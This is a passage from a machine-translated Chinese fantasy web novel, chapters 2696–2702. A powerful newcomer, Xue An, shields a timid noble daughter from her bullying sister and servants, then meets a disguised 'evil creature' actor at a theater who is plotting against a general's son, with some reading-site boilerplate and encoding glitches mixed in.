    For example, the small white bone temple where Ren Ning went to worship today is one of them.


    The reason why Ren Ning believed in the Great Sage of Bone was that Ren''s family was also one of the followers of the Great Sage of Bone.


    Later, when the great saint of bone fell, Ren''s family saw the opportunity quickly and quickly hugged the golden thigh of a certain great figure, and then the danger was turned into peace.


    It stands to reason that in this situation, it is impossible for anyone in the Ren family to believe in the King of Bones.


    But this Ren Ning is a very...very maverick woman.


    She got a pamphlet by accident, which described in detail the past of the Bone King.


    After reading it, she was moved by this sad god, and then secretly determined to believe in the bone religion.


    That''s why she came here secretly hiding from her family this time.


    What Xue An thought about just now was the information about these things, and because the information Xing Tian passed to him was too much and too complicated, even with the intensity of Xue An��s spiritual thoughts, he needed to work hard to avoid the massive amount of information. Submerged.


    So in the eyes of Ren Ning just now, he was a little dazed.


    After finishing all this, Xue An''s mouth couldn''t help but a faint smile appeared.


    This ancestor of Xing Tian can really toss.


    Even if his true body is trapped in the black hole, it still doesn''t stop, and it makes such a big situation.


    If it hadn''t been detected by those evil things in advance, it might have been successful.


    Thinking of this, Xue An took a deep breath.


    At the same moment, the carriage under the seat soared into the sky.


    They have already walked out of the wasteland, and the journey ahead will be much faster.


    Xue An looked at the gray sky outside the car window, her eyes flashing.


    There is no doubt that the world he is in at this moment is the high-dimensional world he came to after passing through the black hole.


    But unlike what I imagined, this so-called Gao Weizha didn''t look much different from the heavens and the heavens.


    The same mountains and rivers, the same stars and universe.


    But Xue An knows that there are certain things that are definitely different.


    For example, the firmness of the space in this world is far from comparable to the heavens and the outer heavens.


    Xue An even tried secretly. Under his full blow, the space only swayed slightly, without any cracks appearing.


    You must know that if there are still heavens in the heavens, only this blow can crush the space.


    At the same time, Xue An also faintly felt that the energy limit of this world was far higher than that of the heavens.


    As for any other differences, Xue An hasn''t noticed it yet.


    In addition, the ability levels in this world are also very strange.


    It is not like the heavens and the outer heavens, but is named after a similar official rank system.


    For example, at the beginning, people who were similar to the immortal kings of the heavens were called Xiaowei, and belonged to the Ninth-Rank Clan.


    The first-class Shaofu is similar to the late Immortal King, and the higher Xiuwulang is the immortal emperor and so on, until the highest-level Shangzhu Kingdom has surpassed the saints, and even surpassed the Tai superior.


    It''s just that there is a question mark whether there is such an existence in this world.


    The most common high-level combat power in this world is generally the fifth rank captain.


    As for a rank four general who is one level higher, that is an absolute great man.


    The marriage that bothered Ren Ning before was caused by the son of a general.


    And this general is just a corner of existence.


    It can also be seen that the hierarchy of this world is far stricter than that of the heavens.


    After all, the heavens have a lot of challenges that leapfrog one another, but they are rarely heard in this world.


    This is because the hierarchical gap in this world is far greater than most people imagine.


    As Xue An was carefully sorting out the information, Ren Ning finally couldn''t help it.


    "Hey, what''s your name?"


    "Didn''t I tell you, I am the great sage of the bones!"


    "Cut, don''t deceive people, you are at least as good as the seventh-rank Wu Yilang, and you can still be the great sage of the bone? To be honest, tell me what your name is!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2696 Seven-Rank Wuyi Lang), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2697： Sister Baozi

    Chapter 2697 Sister Baozi


    Looking at Ren Ning with an arrogant face, Xue An laughed blankly.


    "Do you want to know that?"


    "Of course! After all, this girl''s name has already been told to you, but you refuse to reveal her real name, so am I too disadvantaged?"


    Just as she was talking, Xue An suddenly deceived her and came to her.


    This sudden approach frightened Ren Ning. She subconsciously wanted to retreat, but she forgot that she had been sitting in the corner farthest away from Xue An since getting into the car.


    Therefore, her retreat just hit the wall, and she couldn''t retreat.


    "You...what do you want to do?" Ren Ning trembled.


    Xue An outlined a smile at the corner of his mouth, and then slowly lowered his head.


    In an instant, countless thoughts flashed through Ren Ning''s mind.


    How to do?


    This guy obviously sees himself as beautiful as a flower, so he has become beastly, but do you want to resist?


    Don''t resist, you will suffer yourself, resist... This guy looks pretty handsome...


    For a while, countless thoughts and images entangled in Ren Ning''s mind, and then she closed her eyes as if she accepted her fate.


    never mind.


    It''s better to give this boy instead of making the hakama anointed.


    At least he looks good!


    But when she made up her mind to dye the top of the general''s son green, she saw Xue An leaning over to her ear.


    "If you want to know my name, you can, but you have to take off your veil first."


    Ren Ning suddenly opened her eyes, a flash of anger flashed in her eyes.


    I am obviously ready to sacrifice, but this is the result?


    At this moment, she saw the urgency in Xue An''s eyes, and then she was fooled, and she couldn''t help being furious.


    This bastard!


    dare to play with Miss Ben!


    She said violently: "Why?"


    Xue An showed two white tiger teeth and smiled very proudly, "Because I want to know what kind of face is under your veil! After all, if you are a vulgar fan, you don''t deserve to know my name."


    Ren Ning was almost out of breath.


    This guy is still talking coldly at this time.


    Therefore, she sneered: "As if someone is rare, don''t talk about it!"


    "Oh? If you want to say that, are you not confident about your appearance?" Xue An smiled.


    "I didn''t have one!"


    "Then why don''t you dare to take off the veil?"


    "I...I''m happy, can you control it?"


    Although she said so, Ren Ning was obviously a little emboldened.


    Xue An smiled without saying a word, looking at her quietly.


    Ren Ning was a little flustered by Xue An''s stare, and she couldn''t help lowering her head.


    The car suddenly became very quiet.


    Even Ren Ning can hear her own heartbeat from being quiet.


    Although she didn''t raise her head, Ren Ning could still feel Xue An''s gaze, and many thoughts came to mind.


    Why does he stay in front of him and not go back?


    This bad guy is really disgusting!


    But the smell on him is so good, like grass!


    Just as the wealthy lady started to replant the brain again, Xue An suddenly said in a deep voice.


    "Besides this team, are there anyone else following?"


    Um?


    Ren Ning didn''t understand, she couldn''t help looking up at Xue An, just about to ask what she meant.


    At this moment, there was a sudden violent vibration in this originally stable carriage.


    Under the bumps, Ren Ning couldn''t sit still, and screamed and slammed towards Xue An.


    Seeing that she was about to fall into Xue An''s embrace, a thought flashed in Ren Ning''s heart.


    It''s over!


    It seems that he is really going to get into the mouth now, I hope he can show some pity to himself later, after all, they are...


    These messy thoughts made her face flushed in the middle of the fall.


    But at this moment, a big hand suddenly appeared in front of her, and then directly grabbed her head, stopped her falling, and placed it aside.


    During the whole process, Ren Ning was in a state of bewilderment. She didn''t react until her figure stopped, and then she felt an unspeakable humiliation.


    Is this an active hug and was rejected mercilessly?


    The key is that this way of refusal is full of insults, and I actually scratched my face with my hands!


    @#����%%...


    Ren Ning''s mind flashed over 10,000 words of complaints.


    But Xue An didn''t pay attention to what she thought at all, and saw him look out the window coldly.


    At this moment, outside the window is an equally luxurious carriage.


    The violent vibration just now was obviously hit by the carriage that appeared suddenly.


    At this moment, Ren Ning also saw the carriage outside the window, she couldn''t help being taken aback.


    "It''s Ren Xing!"


    As soon as ����''s voice fell, I heard an arrogant female voice coming into the carriage.


    "Ah, it turned out to be my dear sister! I''m so sorry, I didn''t pay attention when I was driving just now, and bumped you into it. Sister is okay!"


    Ren Ning''s complexion became a little weird, angry and dissatisfied, but more of a kind of timidity.


    "Who is the speaker?" Xue An said lightly.


    "She is my sister Ren Xing. I didn''t expect to meet her here again. It''s really disappointing!" Ren Ning murmured, but she didn''t even dare to respond harder.


    At this moment, Ren Xing''s voice came in again.


    "Huh? Dear sister, why are you not talking? Are you angry with me? Or I will apologize to you personally!"


    "No...no need! I''m fine." Ren Ning replied weakly.


    At this moment, in the carriage opposite, a girl from UU Reading , who is only fifteen or sixteen years old, also has a peerless look, but her face is full of arrogance, and she curled her lips in disdain. Several friends who rushed to the side said.


    "Did you see it? My trash sister has such a character, except for being in a daze all day, she doesn''t even dare to speak loudly!"


    These girls of similar age couldn''t help but laugh.


    "I heard that the general''s son is a real dude, isn''t it just your sister''s temper that you have to be bullied?"


    Ren Xing snorted, "She asked for that too, who made her so weak!"


    But at this moment, he saw Ren Ning''s carriage suddenly turning, and rushed straight towards Ren Xing.


    Ren Xing never dreamed that his sister Baozi would dare to do this, and she was taken aback.


    At the same time, the carriage had rushed to the front, and then slammed into the carriage where Ren Xing was.


    Ren Xing let out a scream.


    Ren Ning also screamed.


    I saw her pale and looked at Xue An who had snatched the command rein from the front cockpit, "You...what are you going to do?"


    "What are you doing? Of course it is to teach you your sister!" Xue An said lightly.


    (end of this chapter)

 Chapter 2698： Teach her for you

    2698-Sorcerer


    While speaking, he used the commanding instrument in his hand to direct the alien beast pulling the cart to turn around, and then rushed towards Ren Xing''s carriage again.


    Ren Xing finally reacted this time, and then screamed: "Ren Ning, are you crazy?"


    said, she slapped the front cockpit frantically, trying to make the groom turn.


    may be too late.


    ��!


    There was another loud noise. This time Ren Xing''s carriage was knocked out of a big hole.


    Ren Xing, who has always been arrogant, was also dumbfounded at this time, and her friends even hissed and screamed.


    But this is not over yet, Xue Anke will not save her face, so the carriage pulled back again, and then hit it hard.


    Boom!


    With a loud noise, the carriage of Ren Xing''s carriage was finally overwhelmed and completely shattered.


    Ren Xing and her friends are exposed in the sky.


    And at this time, the instigator Xue An had already left Shi Shiran in the carriage.


    Ren Xing stood pale in the sky, and it was not until a long time later that she pointed at the back of the far away carriage.


    "Ren...Ren Ning, you wait for me! I''m never finished with you!"


    It''s a pity that these shouts of her quickly dissipated in the wind, and Ren Ning didn''t hear it at all.


    At this moment, she is looking at Xue An in a daze.


    Xue An frowned, "What do you always see me doing?"


    "Ah...ah, nothing!"


    said, Ren Ning looked away in a panic, but the corners of her mouth that could not be restrained raised still betrayed her true thoughts.


    Cool!


    is so cool!


    Ren Ning never thought that one day she could resist her sister''s oppression.


    In the past, facing her sister''s provocations, she always chose to give in and endure.


    If it doesn''t work, she tries to avoid her sister as much as possible.


    And because her eloquent sister is very pleasing to her father, she dare not even file a complaint with her parents.


    After all, she has always been a nearly transparent existence in the eyes of her parents.


    Until today, she suddenly realized that she could resist this way!


    Suddenly, she felt that the white-clothed boy on the opposite side was not that **** anymore.


    Except for his strength, this guy is pretty good in every aspect! Ren Ning thought silently in her heart.


    After this episode, Ren Ning''s team returned to the Ren family territory smoothly.


    It wasn''t until then that Xue An discovered that this planet was so huge that it even exceeded the understanding of the heavens.


    If it is in the system of the heavens, such a planet is absolutely impossible to exist.


    But in this high-dimensional world, it seems to be not uncommon.


    At least Xue An looked up and saw that there were many fist-like stars in the dark night sky.


    Such a world... it is really interesting! Xue An raised the corners of his mouth, showing a slight smile.


    With a smile like this, Ren Ning''s heartbeat was a little red.


    Soon, the convoy landed on the ground.


    This Ren Family Manor occupies a vast area, even like a city.


    There was Zhuang Ding guarding the gate, and when he saw Ren Ning''s motorcade, someone greeted him immediately.


    But there are also many eyes prying in secret.


    After all, the entire Ren family now knows that this eldest lady, who has always had a low sense of existence, is about to marry the son of the general.


    But thinking of the terrible reputation of the son of the general, many people secretly shook their heads, full of sympathy for Ren Ning.


    Of course, some of them are full of gloat.


    In short, under the gaze of countless lights, the little maid Caidie stepped forward and opened the curtain.


    Then a white figure slowly walked down from it.


    A young man dressed in white, clear and handsome, like a pine and cypress, appeared in front of everyone.


    In a flash!


    Whether it''s secretly paying attention to, or these people in front of the door, they are all trapped in petrification.


    Because no one thought that a man would walk down from the carriage of the eldest lady.


    who is he?


    What is the relationship between ���� and Missy?


    These question marks appeared in everyone''s mind.


    At the same time, Xue An looked around the audience, and then said lightly: "Come out!"


    Ren Ning stepped out of the carriage tremblingly, she didn''t even dare to lift her eyelids during the whole process.


    Because she knows how many eyes are staring at herself at this moment.


    This made her nervously trembling, who was always low-key.


    At this moment, a figure appeared in front of her, blocking the curious eyes.


    "Is this your home?" Xue An said lightly.


    "Uh!"


    "Pretty big!"


    "what!"


    "Let''s go, go back to you first!"


    "Um!"


    After a brief conversation, Xue An walked in, and Ren Ning followed suit step by step, just like a little maid.


    Wherever he went, these Zhuang Ding all gave way with a face of error.


    Xue Anru entered the land of no one, and walked into the manor with his head swaggered.


    When his figure had disappeared in the corridor behind the door, a tumult broke out in the audience.


    "Gosh, I''m not mistaken, did the always honest and gentle eldest lady brought back a man after going out?" Someone looked incredible.


    "The key lies in this juncture, I really don''t know what the general''s mansion will think after this news is out!" Someone sighed.


    "This boy looks pretty good, but his strength is too poor. He is a mere 7-rank Wu Yilang. Such ability is average for our Ren family, let alone the general mansion!" Someone sneered.


    For a time, opinions were divergent.


    When it was lively, a tattered carriage stumbled to the front, and then fell heavily on the ground.


    Without waiting for someone to greet him, this Ren Xing had already jumped to the ground, and then asked with a sullen face.


    "Where is Ren Ning! Has she come back?"


    "Enjoy the second lady, the eldest has just returned! You.... UU reading "


    Hearing the word "come back", Ren Xing had already rushed into the door, leaving a bunch of people waiting to stand in place, staring at them.


    "What''s going on today? Why are the eldest and the second miss weird?"


    "Stop talking about that, why do I look at this carriage as if it was hit by someone!"


    "Yes, yes, the eldest lady''s carriage just now also showed signs of impact!"


    "Could it be that the two sisters started their hands?"


    "How is it possible, you don''t know how the eldest lady has a bun-like temper, how can you do such a radical thing!"


    "But the key is that there is an extra man in this today!"


    "I think it will be even more lively when the master comes back!"


    When they heard the word ``Master, everyone''s complexion changed drastically.


    At the same time, before Ren Xingye came to the residence of her sister Ren Ning aggressively, she just wanted to inquire about her crimes, when she heard a bang from inside, and then a figure broke through the door and flew out.


    With a plop, the figure just fell on Ren Xing''s feet.


    Ren Xing looked down and found that this figure was actually an old mother in her sister''s room, but at this moment, she was covered with blood, and she had fainted.


    (end of this chapter)

 Chapter 2699： Do you dare to hit me?

    Chapter 2699 you dare to hit me?


    The dazzling blood scared Ren Xinggang to scream. At this moment, several figures flew upside down from the broken door and landed on Ren Xing''s feet, splashing a little bit of blood.


    Ren Xing jumped high in fright, and hurriedly backed away.


    At the same time, Xue An stepped across the broken door, and Shi Shiran came to the outside world.


    Ren Ning carefully followed behind him, she looked like a little daughter-in-law who was irritated at her husband''s house and her natal brother came to support her.


    After seeing Xue An, Ren Xing''s eyes widened instantly, and she was even more shocked than seeing the woman flying in the sky.


    man?


    And he was the man who came out of his sister''s room!


    Combining with everything that happened before on the road, Ren Xing understood a lot in an instant and couldn''t help but ask in surprise.


    "Who are you? Why are you with my sister?"


    Xue An ignored her, but turned to look at Ren Ning, "Is this the sister who caused you a headache?"


    Ren Ning nodded.


    Xue An frowned, "Speak!"


    "Ah! Yes...Yes!" Ren Ning said cautiously, not daring to look up at Xue An the whole time.


    At the same time, Ren Xingye has rushed forward aggressively.


    "Hey, let me ask you, who are you? Why are you with my sister? And was it you who drove a carriage on the road and hit me?"


    At this time, the second lady of the Ren family vividly explained the origin of her name.


    put that aggressive and savage performance to the fullest.


    At least this Ren Ning shrank her neck subconsciously after seeing this scene, and wanted to shrink back.


    But at this moment, Xue An suddenly raised his hand and slapped her face.


    Snapped!


    Even though Xue An controlled his strength, Ren Xing staggered back a dozen steps, and then covered his face and froze in place.


    "You...you dare to hit me?"


    Xue An disapproved, "Why don''t I dare to hit you?"


    "You...you..." Ren Xing trembled all over, and his eyes were blood red, almost exploding in anger.


    She has never suffered such humiliation.


    Since she was a child, she has always had wind and rain and rain, let alone be beaten, and she didn''t even say a single word to her doting parents.


    But just today, the boy in white who didn''t know where he came out slapped himself firmly.


    Such a shameful shame, how can she swallow this breath.


    Ren Ning was also taken aback, and she didn''t expect Xue An to actually dare to make a move.


    Seeing a big slap print on the face of her always arrogant sister, Ren Ning had an unspeakable refreshment in her heart.


    Xue An didn''t bother to pay attention to this trembling Ren Xing at all. He turned his head and said to the ladies in the broken door.


    "Clean up here!"


    These shrunken-faced maids were shocked when they heard Xue An''s order, and some overreacted almost jumped up, and then they nodded eagerly.


    "Yes Yes Yes!"


    said, I saw these women swarming up and starting to clean the battlefield hard.


    Someone dragged away the injured women who were lying on the ground, and then they brought clean water to clean up the blood stains.


    The whole process is extremely efficient, and no one dared to say a word more during the whole process.


    Seeing this scene, Ren Ning couldn''t help but sigh secretly.


    In the past, if she ordered these women to do something, she would either push back or stop her, or she would say something sour and cool.


    I am embarrassed to reprimand them, she has even got used to it in the long run.


    No matter what you can do by yourself, you can do it yourself. If it doesn''t work, let the little maids like Caidie do it.


    So these wives have become the tyrants in her room, and they are domineering on weekdays, and it can be said that no one dares to provoke them.


    But this time they came across Xue An''s iron plate.


    When Xue An followed Ren Ning back to the courtyard where she lived, these women were gathering in the courtyard to drink tea and chat.


    Seeing Ren Ning''s return, these women didn''t even get up, just glanced at it and continued to chat.


    Ren Ning didn''t care either, she didn''t point to what these women are doing, just like this, it''s good that the well water doesn''t interfere with the river water.


    But there was someone who took the initiative to find death. One of the women couldn''t help sneer after seeing that Ren Ning had brought a man back.


    "Oh, did our eldest lady go out for incense or go to meet a lover? If this is known by the master, it might cause much trouble!"


    Ren Ning''s bun''s temper, which he can''t bear in case of trouble, broke out in an instant, Quandang didn''t hear it, and continued to walk inside.


    But Xue An stopped, then raised his eyebrows slightly.


    "what did you just say?"


    "Hey, dare to question my grandma? Do you know who I am? I am the nanny of the eldest lady. She grew up eating my milk, you..."


    The fat lady seemed to have been beaten with blood, stood up and walked toward Xue An aggressively.


    In her opinion, this young man who didn''t know where to jump out must have never seen anything in the world. She just used this to establish her prestige, so that the young lady can understand her importance.


    But although she had a good plan in her heart, when she walked around Xue An, before she could speak, an inexplicable force struck, and then she flew upside down like a kite with a broken wire. Broken the door, I don''t know about life or death.


    This sudden scene frightened many people, but the women who had made friends with this fat woman ran over in anger.


    "You dare to do something at Ren''s house, you are so bold!"


    "Catch him to see the master!"


    screamed, these women reached out their hands and wanted to catch Xue An.


    Then they ended up just like the fat lady before, flying out one by one.


    This hand shocked everyone. UU reading www. uuk��nshu.cOM


    These arrogant women were so scared that they didn''t even dare to breathe, for fear that they would become kites in the sky.


    Naturally, he did not dare to disobey Xue An''s orders.


    And just as these people were packing up, Xue An turned his head and glanced at Ren Ning, and said lightly.


    "I think the city near your house is pretty good. I happen to be hungry too. Why don''t you go shopping first?"


    "Ah!" Ren Ning, who was staring at the women in a daze, came back to her senses.


    "go shopping?"


    "Oh!"


    "What do you mean?"


    "good!"


    Xue An shook his head helplessly, and then not nonsense, a brilliance wrapped around Ren Ning, and then the two flew up and disappeared in place.


    Even though Xue An has gone, the women still dare not slacken in the slightest.


    God knows if this murderous little master will return.


    As for Ren Xing.


    She has been completely ignored at this moment.


    She stood in the corner blankly, holding her swollen cheeks in her hands, with a suspicious expression on her face.


    just... just left?


    (End of this chapter)

 Chapter 2700： actor

    Chapter 2700


    After hitting himself, he didn��t even say anything, just left?


    The key is that Sister Baozi also obeyed this guy, and didn''t even come to ask herself.


    This can''t help making Ren Xing even more angry.


    She gritted her teeth secretly, then stomped her foot heavily.


    "You waited for me! I''ll make you look good when my father comes back!"


    After that, she left bitterly.


    had already come to Ren Ning in a nearby city and sneezed, then rubbed her nose, and looked at the surrounding shops with interest.


    As Xue An saw when he came, this city is quite prosperous.


    There are many shops on the street, and there is a constant flow of people.


    Everything makes Ren Ning feel fresh.


    "Have you never been here?" Xue An couldn''t help asking.


    Ren Ning shook her head, "I have been here! When I was four years old, I came here with my father once!"


    Xue An: "..."


    "Let''s go and see what''s fun!"


    "Uh-huh!"


    Ren Ning nodded like a rattle, her eyes crooked with a smile.


    Xue An shook his head.


    This guy is really easy to satisfy!


    If it hadn''t been for the sacrifice of this stupid girl who had come to this world, Xue An really didn''t want to care about the mess of these giants.


    But now there is no way, in order to be able to repay this kindness, Xue An had to temporarily act as Ren Ning''s bodyguard and guide.


    That''s right!


    Playing in Ren Ning''s family territory, Xue An actually needs to be a guide.


    I saw this head wearing a veil, and the dignified and virtuous Ren Ning ran around excitedly, looking at everything fresh.


    And this scene also attracted the attention of many people on the street.


    But when they saw Xue An with a helpless look, many people couldn''t help showing a comprehensible smile.


    Obviously, is this a young couple who came out to go shopping?


    As for the expression on Xue An''s face...


    Have you ever seen a man with a smile on his face while shopping with his girlfriend?


    "Hey, do you think this looks good?" Ren Ning picked up a hairpin from a street stall, inserted it on her head, and asked with a grin.


    Xue An was a little speechless, just about to talk.


    The stall owner has already taken the stubbornness, "Oh girl, this hairpin is so good for you, it''s really beautiful, boy, it''s your blessing that you can find such a beautiful girl to be a lady!"


    Ren Ning''s face flushed immediately, she whispered off the hairpin, and then she lowered her head without saying a word.


    Xue An twitched the corners of his mouth a few times, and wanted to turn around and leave, but he couldn''t hold back the babbling words of the aunt.


    In desperation, he simply took out a spiritual stone and threw it on the stall.


    "Stop talking, buy it!"


    The economic system of this world is similar to that of the heavens, and all kinds of spiritual stones are used.


    As for how the spiritual stone in Xue An''s hand was obtained....


    When he was teaching Ren Xing before, he took away a storage necklace from her neck.


    contains a large amount of spiritual stones, which can be called a fortune.


    This also shows the favor of Ren Xing.


    After all, Ren Ning hadn''t saved much money when she grew up so much.


    After buying this hairpin, Ren Ning followed Xue An with a smile, bounced around, obviously in a very good mood.


    Xue An also didn''t bother to care about her.


    The two soon arrived in front of a theater in the middle of the street.


    As early as the beginning, Xue An discovered this world is very interesting.


    Because the level of civilization here is very close to that of China in ancient times, there are even common shadows in many cultures.


    Such as this opera garden is an example.


    Standing in front of the door, listening to the babbling singing and the occasional applause from inside, Ren Ning couldn''t help being a little curious.


    She naturally knows that this is an opera garden, and she has seen stories about this opera garden more than once in various novels.


    This makes her full of infinite curiosity about this place.


    Being timid, she would never dare to set foot here if she was alone.


    After all, according to etiquette, she is not allowed to appear in places like the theater.


    But today, she was faintly moved, so she secretly looked at Xue An.


    Xue An took a deep look at this place, and then stepped inside.


    Ren Ning was overjoyed, and immediately followed.


    There was a small boy checking the ticket in front of the door, and seeing a man and a woman walking in, and both of them were very graceful and elegantly dressed, they couldn''t help but greet them quickly.


    "Two adults, I''m really sorry, the boxes are already full, look..."


    "Sit up, it''s best to be in the front row, can you?" Xue An said lightly.


    The little boy was taken aback, and then nodded hurriedly, "That''s true, but the front row is chaotic, and you are bringing the female relatives..."


    Xue An did not say a word, and threw a spiritual crystal directly, "You don''t need to worry about the others. Let''s arrange it!"


    "Yes!"


    Seeing that Xue An had said so, Xiao Si was naturally unwilling to persuade him, so he retreated.


    After a while, he walked to the door again, "Please follow me!"


    As he said, he led the way, led Xue An and Ren Ning through the curtain to the hall.


    In an instant.


    A wave of heat hits his face.


    The huge hall is very lively.


    The stage is full of people, but there is not much noise, because everyone''s eyes are firmly attracted by the wonderful person on the stage.


    The soft singing voice reverberated in this hall, and many people showed mesmerizing looks.


    Xue An followed this young man to a position on the left in the front row.


    After settling down, the little boy whispered: "My lord, if there is something to do, you can run backstage!"


    said, the man bowed and retreated.


    Ren Ning didn''t hear anything, she couldn''t help asking in a low voice: "What''s wrong?"


    "It''s okay, UU reading watching the show!" Xue An said lightly.


    At this time, the drama on stage had reached its climax. Although I couldn''t understand it, the unique movements and singing made Ren Ning fall into it very quickly.


    But Xue An didn''t pay attention to this. He just looked at the woman who sang coldly, his eyes flickering slightly, and he didn''t know what he was thinking.


    After singing a song, the audience thundered with applause and continued applause.


    At the same time, all kinds of spirit stone jewelry were thrown on the stage like rain.


    The opera singer stood in the middle of the stage and thanked him again and again.


    But at this moment, I don��t know who threw a teapot out of the dark.


    It smashed on the pillar of the stage with a bang, hot water splashed, and the few people who were close by were hot and screaming, and then these people cursed, picked up the tea cup in front of them, and smashed them backwards. .


    There was a chaos in the field.


    But people didn''t show any fear, but cheered excitedly.


    In an instant, all kinds of things flew around in the sky.


    The actor is no stranger to it, and stepped back a few steps, seeming to be waiting for the matter to come to an end.


    But at this moment, a black light mingled in the mess of teapots and bowls came straight to the play.


    (End of this chapter)

 Chapter 2701： Inside the evil

    Chapter 2701 the inside of the evil


    This black light was like an arrow from the string, and it came to the actor almost in the blink of an eye.


    He seemed to be frightened and stupefied, and stood still in place.


    At this moment, a white light flew in an oblique thorn, just hitting the black light.


    ��!


    With a muffled noise, the black light shattered into fog.


    faintly, there was a painful hum from the stands behind him.


    The actor seemed to be aware of it, and Huo Ran turned his head to see Xue An on the left side of the front row.


    Xue An smiled faintly.


    The actor was taken aback for a moment, and Xuan even smiled back.


    At the same time, the theater was full of voices, loud noises, roars, and clamors. It was a mess.


    But soon, the security guards of the theater filed in, and in a short time, the boiling hustle and bustle gradually died down.


    Now that it happened, the play can''t be sung anymore.


    Many spectators were sent out of the theater in an orderly manner.


    Ren Ning squirmed nervously in her seat, whispering.


    "Or let''s go too!"


    Xue An smiled faintly, "Don''t worry, wait a minute!"


    Ren Ning was puzzled.


    It''s already this time, what else can I wait?


    But at this moment, the young man who had led them into the arena came up and said respectfully.


    "This lord, my son has asked you to go backstage and talk!"


    Xue An seemed to have expected it, Yun Qingfeng nodded, "Okay, I get it!"


    Then he stood up and rushed to Ren Ning: "You are waiting here, don''t go anywhere!"


    After that, Xue An said to the young servant: "Lead the way ahead!"


    Ren Ning looked at Xue An, who was following Xiao Si with a blank face, and suddenly shuddered, and then shrank herself in the seat, not even daring to lift her head.


    This theater is a typical backstage layout. Xue An followed this young servant around and around, and finally came to the backstage.


    Xiaosuo lied forward, "My son is waiting for you inside, please come in!"


    Xue An is not welcome, and directly opened the curtain and walked into the background.


    The backstage at this moment is empty, the lights are dim, and there is only one person sitting alone in the corner, busy facing the mirror.


    seems to have heard the sound of footsteps, this person didn''t even turn his head, just said indifferently: "Sit down!"


    Xue An was not polite, and went straight to find a chair and sat down.


    At this point, the backstage fell silent again.


    Quietly, you can even hear the sound of the mirror couple fiddling with all kinds of bottles and cans.


    Xue An was not anxious, but looked at it with interest.


    It wasn''t until a long time later that this person removed the heavy make-up on his face, revealing a face that could be called delicate and refined.


    But just above this face there is a miserable beard stubble.


    That''s right!


    This man who is even more coquettish and feminine than a woman after wearing makeup is actually a man.


    I saw him slowly turning around and smiling at Xue An.


    "What happened just now, thank you very much!"


    Xue An took a deep look at him, then shook his head, "You''re welcome, but it''s just a matter of effort!"


    The man pursed his mouth and smiled as if there were a lot of amorous feelings in his smile, "You think it''s a simple effort, but it is a life-saving grace to me. After all, if it weren''t for you to do it, I might be separated by yin and yang now!"


    Xue An was noncommittal, but asked with interest.


    "In fact, I am even more curious about who is chasing you, after all... in this world, you should be in a dominant position as an evil creature, but why are you being chased and killed?"


    The man looked sad, "Sure enough, I can''t hide anything from you. Yes, I am indeed an evil thing. As for the question you asked, the answer is actually very simple. Of course, I am no exception!"


    Xue An raised his eyebrows slightly when he heard the man''s narration.


    "Falling off against the enemy? With that said, your evil creatures are not united anymore?"


    "It''s more than disunity, it''s almost to the point of life and death."


    Speaking of this, the man smiled bitterly, "Otherwise you think I would be willing to do this?"


    Next, through the man''s narration, Xue An finally understood the ins and outs of the whole thing.


    It turns out that this actor is indeed a family of real evil things.


    is nothing but evil things. The clan has actually split into several genres a long time ago.


    Those who are good will naturally have evil, and they are even incompatible with each other.


    Taking this incident as an example, this man should have been out of the matter, but he did not expect that someone secretly used a trick and almost killed the man.


    Xue An nodded after listening, "It turns out that it is, but why do you, as an evil creature, want to throw yourself into this theater?"


    "This..." The man looked hesitant.


    Xue An waved his hand, "Forget it. Since you don''t want to say it, don''t say it!"


    While speaking, Xue An stood up and walked out.


    At this moment, the man''s voice came from behind, "This lord, is the one next to you the Ren family''s daughter?"


    Xue An turned around and looked around, "Yes! Why? You know?"


    "I can''t talk about knowing it. I just heard it! But I want to remind you that if there are no special circumstances, you''d better keep a certain distance from this daughter of the Ren family, otherwise the consequences will be unimaginable."


    Xue An laughed dumbly, but didn''t say anything, just nodded, and then strode away.


    The man looked at Xue An''s back, and a daze flashed in his eyes.


    When ���� went back, naturally, there was no need to lead the way. Xue An left the backstage and came to the front.


    At this moment, the theater has become empty, only Ren Ning is sitting on a chair with a dull expression and beside her sits a man who is talking endlessly.


    The more he said, the more Ren Ning''s figure shrank.


    It wasn''t until after seeing Xue An that Ren Ning showed relief, and then immediately stood up and greeted her.


    "Let''s go!" Ren Ning whispered.


    Xue An remained unmoved, and said lightly: "What''s the matter?"


    "It''s nothing, just ran into a weird guy, ignore him, let''s leave as soon as possible!"


    Ren Ning is going to leave.


    At this time, the man chattering beside her also stood up and looked at Xue An with interest.


    Xue An took a deep look at this person, did not say a word, turned around and led Ren Ning away.


    And just after they left, the man who was in the background just stepped out.


    "How about it?"


    "The strength is not high, but the momentum on his body is unpredictable and interesting!" The man who appeared afterwards said in a low voice.


    "I am not asking you this, I am asking you how things are going!"


    "Don''t worry, I have already arranged it,


    (End of this chapter)

 Chapter 2702： Shot

    Chapter 2702


    "It will be a grand literary meeting in a few days. The son of a general who has always liked arty will definitely participate. Then it will be the best time to get started!"


    The man who turned into an actor nodded, "If this is the case, then we must act carefully these days and make no mistakes!"


    "Don''t worry! I have already arranged everything, but the woman just now is also very interesting. Although she wears a veil, I still recognize her as the eldest lady of the Ren family!"


    The male actor nodded, "I''ve already seen it a long time ago. It is the daughter of the Ren family who has concluded a marriage contract with the son of the general!"


    "Yes, it''s her! Strange, how could she appear here. At the same time, who is that man?"


    The male actor frowned, "I don''t know, but this person is by no means ordinary. If you know that he will break my true identity!"


    The man who appeared after ���� sighed, "Yes, although this man has only the seventh rank Wu Yilang, his aura is like the ocean, which is not to be underestimated!"


    Speaking of this, his face condensed, "Who was the one who did you just now?"


    The male actor smiled wryly, "Who else can it be? Of course it is the Shura Hall!"


    "Sure enough, it''s these guys, what a damn!" The man who appeared afterwards looked resentful.


    The male actor shook his head, "At this critical moment, no matter who this man is, and no matter what the Shura Temple wants to do, just remember that the purpose of our trip is to be the son of the general!"


    "clear!"


    And when the two were conspiring to talk, Xue Anye had led Ren Ning to the sky.


    "What did the man tell you just now?" Xue An asked.


    "I didn''t say anything, he just asked for my name, but I ignored him!" Ren Ning said cautiously.


    Xue An''s face appeared contemplative.


    He saw at a glance that the man who appeared after him was also an evil thing.


    should be inseparable from the actor man.


